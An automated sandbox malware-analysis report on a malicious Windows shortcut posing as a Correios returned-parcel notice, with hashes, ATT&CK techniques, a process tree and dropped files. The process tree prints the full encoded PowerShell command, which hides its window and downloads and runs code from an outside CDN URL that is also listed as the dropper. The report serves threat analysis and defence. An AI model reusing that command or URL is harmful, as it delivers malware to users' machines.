858c09f6032b213e8cb62f48d6ecb7237637e9eea5866973905d6c1f13a81bdf

Analysis

max time kernel
93s
max time network
99s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
13-09-2024 19:03

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General

Target

Mercadoria_Devolvida-Correios-22ES4D25.lnk
Size

3KB
MD5

246e74b6fffb9d5994f7f70bb6509b45
SHA1

4b7bdf4808ce987b9f94ea40bdd081217867483a
SHA256

0db8cc27123c8bbd5ae0139980b604c514caeeed51da22d67d440e5369f8be1e
SHA512

178cf1ff0d8213ff94de68f5c1c267d50c3a958126925a2c50a554a29229c6f6834d1bf140fdb9f7168352d068880c7730e047e177496af0a8b57dde62fd8e08

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://1361227624.rsc.cdn77.org/v2/gl.php?aHR0cHM6Ly8xMzYxMjI3NjI0LnJzYy5jZG43Ny5vcmcvdjJ8d3IzMQ%3D%3D%

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
12	1248	powershell.exe
13	1248	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
1248	powershell.exe
1248	powershell.exe
1248	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1248	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2836 wrote to memory of 1248	2836	cmd.exe	84
PID 2836 wrote to memory of 1248	2836	cmd.exe	84
PID 1248 wrote to memory of 4848	1248	powershell.exe	85
PID 1248 wrote to memory of 4848	1248	powershell.exe	85
PID 4848 wrote to memory of 4108	4848	csc.exe	86
PID 4848 wrote to memory of 4108	4848	csc.exe	86

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\Mercadoria_Devolvida-Correios-22ES4D25.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2836
- C:\windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\windows\System32\WindowsPowerShell\v1.0\powershell.exe" -en YQBEAGQALQB0AFkAUABFACAALQBOAGEATQBFACAAQQAgAC0ATQBFAE0AYgBlAFIAZABlAGYAaQBOAEkAVABpAG8AbgAgACcAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAdQBzAGUAcgAzADIALgBkAGwAbAAiACkAXQAgAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAGIAbwBvAGwAIABTAGgAbwB3AFcAaQBuAGQAbwB3ACgAaQBuAHQAIABoACwAIABpAG4AdAAgAHMAKQA7ACcAIAAtAE4AYQBtAGUAUwBQAEEAQwBFACAAQgA7AFsAQgAuAGEAXQA6ADoAUwBIAE8AdwBXAGkAbgBkAE8AVwAoACgAWwBzAFkAUwB0AGUAbQAuAGQAaQBhAEcATgBvAHMAdABpAEMAcwAuAFAAcgBvAEMAZQBzAFMAXQA6ADoARwBFAFQAYwB1AFIAcgBlAG4AVABwAFIAbwBDAGUAcwBzACgAKQAgAHwAIABQAFMAKQAuAG0AYQBJAG4AVwBJAE4ARABvAHcASABBAG4AZABsAGUALAAwACkAOwBJAEUAeAAoAE4ARQB3AC0AbwBCAGoAZQBDAHQAIABOAEUAVAAuAHcARQBCAGMAbABJAEUAbgBUACkALgBEAG8AVwBOAGwATwBhAEQAcwB0AFIASQBOAEcAKAAnAGgAdAB0AHAAcwA6AC8ALwAxADMANgAxADIAMgA3ADYAMgA0AC4AcgBzAGMALgBjAGQAbgA3ADcALgBvAHIAZwAvAHYAMgAvAGcAbAAuAHAAaABwAD8AYQBIAFIAMABjAEgATQA2AEwAeQA4AHgATQB6AFkAeABNAGoASQAzAE4AagBJADAATABuAEoAegBZAHkANQBqAFoARwA0ADMATgB5ADUAdgBjAG0AYwB2AGQAagBKADgAZAAzAEkAegBNAFEAJQAzAEQAJQAzAEQAJQAnACkA
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1248
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\uojpnwen\uojpnwen.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4848
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES8220.tmp" "c:\Users\Admin\AppData\Local\Temp\uojpnwen\CSC2CFAED0163B14440B37931C86333B60.TMP"
      4⤵
      PID:4108

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\RES8220.tmp

Filesize
1KB

MD5
2cc381ab84585e0b7b971bf4e64b3653

SHA1
c6fae21b66f907641ad490508013e1a3588a7c70

SHA256
6143b228aa16d2cddf63fd57a3509520376574ba6d795d3503dd489bf7ff7e8e

SHA512
69f9b7e7c39988f825341f59fd081ad92d00e10828c9e876dda77a2e2af8771afb2979db7a25c655649fa634be24c9c43462a040b69fac1d691e5eb611dace57

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_j2lemc1l.l0p.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\uojpnwen\uojpnwen.dll

Filesize
3KB

MD5
28479554b7dc5dd95e229a3a6f1d0aa7

SHA1
4c516ae2443b0488efdce27c542abb5a41a8b100

SHA256
38f9175e292a6b6730b4a353d8979f4fef12efc0f0084fbe907211808ecc1f10

SHA512
41b42076ea71bf8f67364c7c79bd1a154e73d25e03eca1fbafb6e6e5f4ea0099abeb8fd26b10d25feb3a86a5da42126b23dc581bda6a41bc72f18f2e60e91953

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\uojpnwen\CSC2CFAED0163B14440B37931C86333B60.TMP

Filesize
652B

MD5
c29323c9d116f55d8d354e2e0886d2d2

SHA1
22e9e4280ecca2a8d07e2cb4db44ba6d488ef4b7

SHA256
895c3949aa87d60859edd1ba9c25764632744643c4c63f7313e06b4de4c0eda5

SHA512
0757f1462f26bf953ab3193c65b8ae74389a8985a4c9f431044e1247db90cff6f42596136524267eacce1a9529f0fd6f1220582474ca5093c720039138ce7d2a

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\uojpnwen\uojpnwen.0.cs

Filesize
187B

MD5
7b0e7177dfbb9edd1c1ef08b4fdfae2f

SHA1
cb11a0252cdad66ec247312ccb7feb46456e52b6

SHA256
6caf22ef995616dc37bec21b2af3aa4597cdad88e00a13de0122db3af4e9a4aa

SHA512
7322be891145e550405917757420aeb513e5689970d34647177b1a79a12c7776d4e49c129b093be9927b46bc7582c0379e0cb520af58d4410ed4c5ef98b4dbfd

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\uojpnwen\uojpnwen.cmdline

Filesize
369B

MD5
7f48bebff6afd2181f8680f1e909f814

SHA1
f69a898e233dd4120abe1f96fe737cdac0e96422

SHA256
59de0094b0e69d5b1d56eae3d76670dc48b0f94f8970420a139b98ac280fbec7

SHA512
7975b6b75743f440f64f69f3d66cb6ac2e9eba646f11b4a157d9f4c2706888273372a6572e8e821f6ef4afa5e3b1eeeab0abcaf335c64115775fa4b31a892c32

Download Submit
memory/1248-2-0x00007FFE2CE73000-0x00007FFE2CE75000-memory.dmp

Filesize
8KB

Download
memory/1248-3-0x0000024CB97E0000-0x0000024CB9802000-memory.dmp

Filesize
136KB

Download
memory/1248-13-0x00007FFE2CE70000-0x00007FFE2D931000-memory.dmp

Filesize
10.8MB

Download
memory/1248-14-0x00007FFE2CE70000-0x00007FFE2D931000-memory.dmp

Filesize
10.8MB

Download
memory/1248-27-0x0000024CB9830000-0x0000024CB9838000-memory.dmp

Filesize
32KB

Download
memory/1248-31-0x00007FFE2CE70000-0x00007FFE2D931000-memory.dmp

Filesize
10.8MB

Download